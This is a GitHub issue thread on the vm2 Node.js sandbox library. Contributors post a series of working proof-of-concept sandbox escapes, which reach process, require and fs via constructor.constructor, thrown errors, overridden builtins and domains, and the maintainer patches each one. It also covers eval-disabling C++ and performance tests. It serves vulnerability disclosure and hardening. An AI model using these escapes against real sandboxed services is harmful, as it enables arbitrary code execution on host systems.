Comments (64)
Argh! You're catching on! ;) I must apologize for leading you on like this. For any audience out there; the problem with VM scope in node.js is with references to objects in the host scope (from which you can gain a reference to all of host scope via the prototype chain).
Now that you've overridden the constructor
property, I'll have to go underneath it:
function getParent(o) {
return o.__proto__.constructor.constructor('return this')();
}
from vm2.
Made some research here and noticed that global.__proto__ === host.Object.prototype
. By applying Object.setPrototypeOf(global, Object.prototype)
I was able to close the cricle.
Thanks again.
from vm2.
FWIW, we solved this just by disabling eval
... and being very careful about not exposing references into the sandbox.
#include <nan.h>
using v8::Local;
using v8::Context;
NAN_METHOD(enableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(true);
info.GetReturnValue().SetUndefined();
}
NAN_METHOD(disableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(false);
info.GetReturnValue().SetUndefined();
}
void Init(v8::Local<v8::Object> exports) {
exports->Set(Nan::New("enableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());
exports->Set(Nan::New("disableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}
NODE_MODULE(vm8, Init)
This prevents the escape since the return process
string is unable to be evaluated. As a consequent, it also disables legitimate eval()
and Function Generator Constructor calls. (The utility of these features is rather questionable.)
from vm2.
I've been playing around with the vm and the suggested C++ code to disable eval from @parasyte . It works well, but using the vm in general comes with a pretty significant performance penalty. So we started experimenting with new Function(...). I'm using this construct:
const userfunc = new Function('context',
'"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');
This works too, and is much faster (over 1000 times faster in some test cases). In addition to disabling eval, I also prevent the userland code from containing a reference to 'global' (without this test, the function can modify the global scope using global.whatever). This appears to be an effective and secure sandbox. What am I missing?
from vm2.
Thanks for the report, I'm working hard on a new version of vm2 and I was able to fix this leak by creating context inside created context. Not sure if there's another way how to escape the sandbox, haven't found one yet.
const context = vm.createContext(vm.runInNewContext("({})"));
const whatIsThis = vm.runInContext(`
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`, context);
Tried to climb up but seems it's not possible since this is true
:
this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()
from vm2.
I've been playing with the approach you mention above.
The first goal was to try and adapt your comment to allow me to pass things into the sandbox, which is necessary for my use case. Please correct me if this is the wrong way to go about this, but it seems like the only way:
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
Outputs:
Hello World Inside
Hello World Outside
Next I tried again to escape the VM and was successful:
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
const ForeignFunction = log.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
Which outputs:
{ dev: 16777220,
mode: 16877,
nlink: 16,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 544,
blocks: 0,
atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside
It seems like there is no way to safely inject things into the sandbox without those things being used to climb back out of the sandbox.
from vm2.
There is a way - objects needs to be contextified to VM's context. There're two ways how to do that. You can either deep clone those objects or you can use Proxies. I'm using Proxies in new vm2.
https://github.com/patriksimek/vm2/tree/v3
I have pushed the upcoming release to GH. It is still work in progress but it should work.
from vm2.
v3 is broken too:
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
'log' : console.log,
},
});
vm.run(`
try {
log.__proto__ = null;
}
catch (e) {
const foreignFunction = e.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const fs = require("fs");
log(fs.statSync('.'));
}
`);
It's kind of futile to play this game of whack-a-mole.
from vm2.
@parasyte thanks, it was caused by a typo in my code. It's fixed now.
from vm2.
Don't forget to catch exceptions.
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
boom() {
throw new Error();
},
},
});
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
boom();
}
catch (e) {
exploit(e);
}
`);
from vm2.
@parasyte thanks, fixed. I really appreciate your contributions.
from vm2.
π +1
from vm2.
@patriksimek nice one!
I also have access to certain objects in global scope that I can leverage to break out of the contextified sandbox. This one doesn't even require passing any objects into the VM.
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Reflect.construct = exploit;
new Buffer([0]);
`);
from vm2.
@parasyte sheesh! There must be a plethora of vectors left to discover.
from vm2.
@keyosk Yeah, probably...
BTW @patriksimek the ES6 is much better than coffeescript! π
from vm2.
@parasyte thanks again, it's fixed along with some more backdoors that I found.
@keyosk I believe that we will find them all.
from vm2.
What about this one?
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Object.assign = function (o) {
return {
'get' : function (t, k) {
try {
t = o.get(t, k);
exploit(t);
}
catch (e) {}
return t;
},
};
};
new Buffer([0]);
`);
from vm2.
@parasyte nice catch, fixed that. Thanks.
from vm2.
You opened a whole new can of worms in a recent patch.
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
new Buffer();
}
catch (e) {
exploit(e);
}
`);
from vm2.
Damn, I was working too late and lost focus. Wrote some security notes, primarily for me. :)
Thanks, fixed.
from vm2.
Well, I haven't even looked into NodeVM
until now! There's a lot more surface area to scrub, here...
Right away I noticed an escape via arguments.callee
:
'use strict';
const {NodeVM} = require('vm2');
const vm = new NodeVM();
vm.run(`
function getParent(o) {
return o.constructor.constructor('return this')();
}
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');
return o;
}
(function () {
exploit(getParent(getParent(arguments.callee.caller)));
})();
`);
from vm2.
Well, this points us to the initial issue here - context created inside new context is not enough, obviously. Short version:
vm.run(`
global.constructor.constructor('return this')().constructor.constructor('return process')()
`);
Haven't found a solution yet. Maybe patching the host with delete process.mainModule
but I'm sure there is another way how to climb up to require
.
from vm2.
Found a solution :-)
from vm2.
@parasyte @patriksimek is this closed on the latest npm published version?
from vm2.
Yep, we can close this for now.
from vm2.
@parasyte just for clarity is this something you implemented elsewhere? Or something contributed to vm2?
from vm2.
@keyscores this was implemented elsewhere.
from vm2.
Yep, elsewhere. We have a similar sandbox project that is currently awaiting clearance to release open sourced. Sorry for the confusion. I was commenting how the root issue was solved in that project.
from vm2.
@parasyte Any update your release? Would be interested to compare implementation. I think everyone wins.
from vm2.
@keyscores Sorry, nothing to report yet. The open source effort got deprioritized due to some bad planning in the organization. :\
from vm2.
I know this is a dead issue, but are there any known bypasses for Node's vm
library when executing code like this:
vm.runInNewContext("arbitrary user input here", Object.create(null))
from vm2.
@parasyte : Just out of curiosity, why not just disable eval by injecting global.eval = null;
into the top of the external code before you execute it?
from vm2.
@Eric24 Good question! This presentation explains why in some detail: https://vimeo.com/191757364 and here is the slide deck: https://goo.gl/KxiG73
The most important point is that there are many ways to call eval()
from JavaScript, and replacing global.eval
is just one of them. By the time you get through the entire list, you'll realize that it's impossible to monkey patch evals by GeneratorFunction. And this doesn't include myriad other ways eval()
could be exposed by future ES changes.
So the only viable solution is to disable evals in V8 using C++.
from vm2.
@parasyte : Makes perfect sense (and thanks for the presentation). So, does your C++ code disable eval in just the vm or in the "host process" too?
from vm2.
@Eric24 it will disable eval in the context that disableEval is called in. You'll want to inject this into the start of the provided userland code that is to be run in the vm. Additionally you can also run this in your host and disable it in that context as well.
from vm2.
@parasyte : Got it. Thanks! I have to say that your solution is the best I've found after several days (over several weeks) of researching this topic.
from vm2.
@Anorov This was reported just a few days ago: nodejs/node#15673 It allows escaping VM even with a null prototype on the sandbox. It's only a problem if domains are enabled (this is not the default, but beware of domain
usage in all of your dependency hierarchy).
Here's a handy-dandy proof of concept. Tested on node v8.6.0:
// 'use strict';
const domain = require('domain');
const vm = require('vm');
const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;
domain.create().enter(); // Entering a domain leaks the private context into VM
vm.runInNewContext(untrusted, Object.create(null));
Be mindful of leaks like these. The only way to be safe from this class of vulnerability is disabling eval. And be weary that there may be other issues with vm
outside of the scope of eval.
from vm2.
@parasyte Thanks. I am executing this code with Node from Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111
No other libraries (domain
or otherwise) are imported or used. Do you see any potential issues with this code? I would like to avoid requiring Javascript dependencies (like vm2) if possible.
from vm2.
@Anorov Ah I see. Are you worried that CloudFlare (or a MITM) will attempt to provide code that could break out of the sandbox? It would have to be a targeted attack, but I wouldn't rule it out entirely.
from vm2.
from vm2.
Is the sandboxing mechanism safe, to the best of the Node community's knowledge?
Absolutely not. The official documentation makes this very strong note:
Note: The vm module is not a security mechanism. Do not use it to run untrusted code.
from vm2.
from vm2.
In practice, the sandboxing mechanism is unsafe for untrusted code. That's why @patriksimek has attempted to create a safe sandboxing mechanism with the vm2
library. Which is also why @parasyte has done work to create his own library using a different approach at sandboxing untrusted code.
from vm2.
@Anorov In short, don't rely on vm
solely. But it is a useful tool as a single layer of the onion.
from vm2.
Does your strategy stop people from importing namespaces like fs and drastically modifying your servers? I'm also curious about the eval disabling, why all the worry about eval and not the worry about code outside eval?
from vm2.
@wysisoft : Good question. Yes, 'require' is not exposed. Each script, as part of its meta-data, defines a list of "allowed and verified" modules that it needs, which are individually exposed to the function before it runs. To your point specifically, 'fs' would not be on that approved list (but for scripts that need temporary storage, a set of limited read/write functions are provided).
Disabling 'eval' is key to stopping a number of exploits (see the comment from @parasyte on 18NOV16). Allowing 'eval' makes it possible to access the global scope in a way that cannot otherwise be prevented. More details in the comment from @parasyte on 1OCT17).
from vm2.
@Eric24 I don't understand what's "slow" about vm
. It's exactly the same v8 runtime that powers nodeJS. Are you sure you're not doing something silly, like recreating the sandbox every time you execute the code? There's some overhead, but not 1000x more overhead.
@wysisoft eval()
is an easily reachable method of escaping the sandbox. Disabling it will permanently close the escape hatch through evaluating code within the private context. But I reiterate again, this is not the only attack vector and you should be wary of everything.
from vm2.
@parasyte - I have a very simple test that creates a Function() and a VM with as close as possible to the same code for each, runs both 1000 times, and reports the total time required. Code below:
"use strict";
const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");
console.log('TEST=' + global.test);
let response = {result: 0, body: null};
// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
'"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');
// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
'"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);
// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');
// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
//ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid}; // << THIS IS THE PROBLEM!
//context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
As you can see in the test, I'm creating the script and the context once, then running it 1000 times. However, in the real target use-case, I will need to re-create the context each time (potentially being able to cached the compiled script), because each run is unique and must start with a fresh context). Without recreating the context each time, the difference between the Function() and the VM is 6 to 14 times.
But after taking a closer look, I tried a variation of the code (creating the context each time inside the loop), which is closer to the real use-case. I had originally timed the one-time creation of the context at just under 1ms, so I was including that on a per-iteration basis. But running the actual code showed the real culprit--while VM is still slower, the problem is not creating the context, but creating the 'ctx' object. That's quite a surprise.
But creating a new object for the VM context will be needed each time through (although some variation of that will also be needed for Function(), so the difference between the two is back to the 6 to 14 times (which is still significant).
from vm2.
Hmmm. I just tried another test:
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
// let context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
Here, the 'ctx' object is recreated each time, in both tests, but the context is only created once. The time difference is back to the 6 to 14 range. But if I uncomment the line that recreates the context each time, were up to 144 times slower!
from vm2.
@Eric24 You're doing what I said in my previous post. π script.runInContext()
is the problem. This is effectively the same thing as calling eval()
(with a different v8 context).
The solution to fix your performance problem is to call runInContext
once to compile the code, and interact with the compiled code via the reference that it returns, or the references that you provide as input arguments. For example, passing a few new Event()
objects for bidirectional communication with the sandbox. This is what our [still internal sandbox, hasn't been open-sourced for political reasons] vm
wrapper does, and the overhead is completely negligible.
from vm2.
@parasyte : Hmmm. But doesn't new vm.Script() compile the code? In any case, I think to do what you're saying, the thing I should be caching is the reference to runInContext, so I'll only suffer the overhead the first time a script is called. Definitely worth considering.
from vm2.
Nope. runInContext
compiles the code. Think about it. v8 is a Just-In-Time compiler. It has to execute the code to compile it.
from vm2.
@parasyte : OK, but from the node.js docs:
Instances of the vm.Script class contain precompiled scripts that can be executed in specific sandboxes (or "contexts").
from vm2.
@Eric24 The documentation is kind of confusing. The associated code snippet gets "compiled" in the same sense that an interpreter compiles JavaScript into byte code. The JS is capable of executing via an interpreter after the Script
object has been instantiated, but the majority of perf gain from v8 comes from compiling this interpreted intermediate representation down into native machine code. The latter step doesn't begin until runInContext
is called.
In reality, the JIT compiler life cycle is more complex than that, since the code has to warm up before the JIT will even consider it for optimization. There's plenty of reading materials on the Internet if you're interested in the details.
But to provide you with some hard data, here's the relevant source code for runInContext
: https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54-L61
The realRunInContext
reference is from the C++ contextify
module. Which you can find here: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660-L719
The most important part of this C++ code is arguably the call to EvalMachine
, which binds the compiled code to the current context, and calls script->Run()
to begin the JIT compiler. Which of course is what starts looking for code to optimize.
Hope that helps!
from vm2.
@parasyte : Yes, that's helpful. Thanks!
from vm2.
We are struggling with one implementation using vm2 sandbox. Can we call async code inside the vm2 sandbox? the reason is, we need to connect to a data source like Mysql from the sandbox of vm2?
from vm2.
from vm2.
@wysisoft Thanks for the reply, We have separately raised the issue with the details #102. Also the SQL access configs is provided by the user itself and sandbox script wont be accessing our app DB.
from vm2.
@Eric24 mind sharing the 'new Function ()' alternative? Looks cleaner than the VM
from vm2.
@platinumindustries : In the end, I actually don't recommend the "new Function()" alternative. We ended up staying with the VM approach, and focused on optimizing that code instead. What we have now works very well. I honestly can't recall exactly what pushed us in that direction, but I know there were several little things that ultimately crossed the "new Function()" approach off the list.
from vm2.
@Eric24 Very well then. Also, in the new version of NodeJS 10.9* They do have an option for disabling eval() in the vm. So is that enough or do I still need to disable it from C
from vm2.
Really sorry for jumping into an old thread.
However, in the real target use-case, I will need to re-create the context each time (potentially being able to cached the compiled script), because each run is unique and must start with a fresh context).
@Eric24 I'm looking at how I might potentially run some arbitrary code using vm2
inside a server application. I believe my use case is similar to the one you mentioned because I'm looking at how I can pass parameters/arguments from an incoming request into the code running inside the vm.
Right now the only way I can see to do this is to create a new context each time but this is really slow. I'm trying to figure out if I can reuse one context object but use some other mechanism to provide data to the code running inside the VM. @parasyte mentioned something about bidirectional communication using Event()
objects but it wasn't totally clear to me.
I was wondering if you ran into a similar problem and if you did, would you mind sharing some tips as to how you solved it? Thanks for your time.
from vm2.
@darahayes : Actually, I am creating a new context for each run, but I don't find this slow at all. What kind of performance are you seeing vs. what you're expecting? And how are you measuring the performance?
from vm2.
I am spinning up a fresh nodejs process for each run, and its not that bad, less than 100 ms of delay.
from vm2.
Related Issues (20)
- freeze doesn't work on Array methods (shift, pop, etc) HOT 4
- fetch not available in vm2 with node 19 HOT 1
- VM and NodeVM behaves differently on await HOT 3
- Any tips for improving performance of `vm.run()`? HOT 9
- [VM2 Sandbox Escape] Vulnerability in [email protected] HOT 13
- Sandbox Escape in [email protected] HOT 3
- Adding a Security Policy HOT 1
- Modules not loading any more? HOT 16
- Overriding functions of objects from sandbox parameter inside NodeVM HOT 3
- Accessing .buffer property on a Float32Array HOT 8
- Lib memory leak HOT 8
- Hello, is there any way to make the large functions in node equal to those in VM2? Or not isolate large functions? HOT 16
- Usage with NextJS HOT 8
- this.pathResolve is not a function in 3.9.18 HOT 2
- Work in a bundle HOT 3
- Use external modules without filesystem access HOT 1
- Typescript Set transpilation issues
- Node's test runner not available as builtin
- Isolating Imported Modules
- Discontinued HOT 63
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
π Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. πππ
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google β€οΈ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from vm2.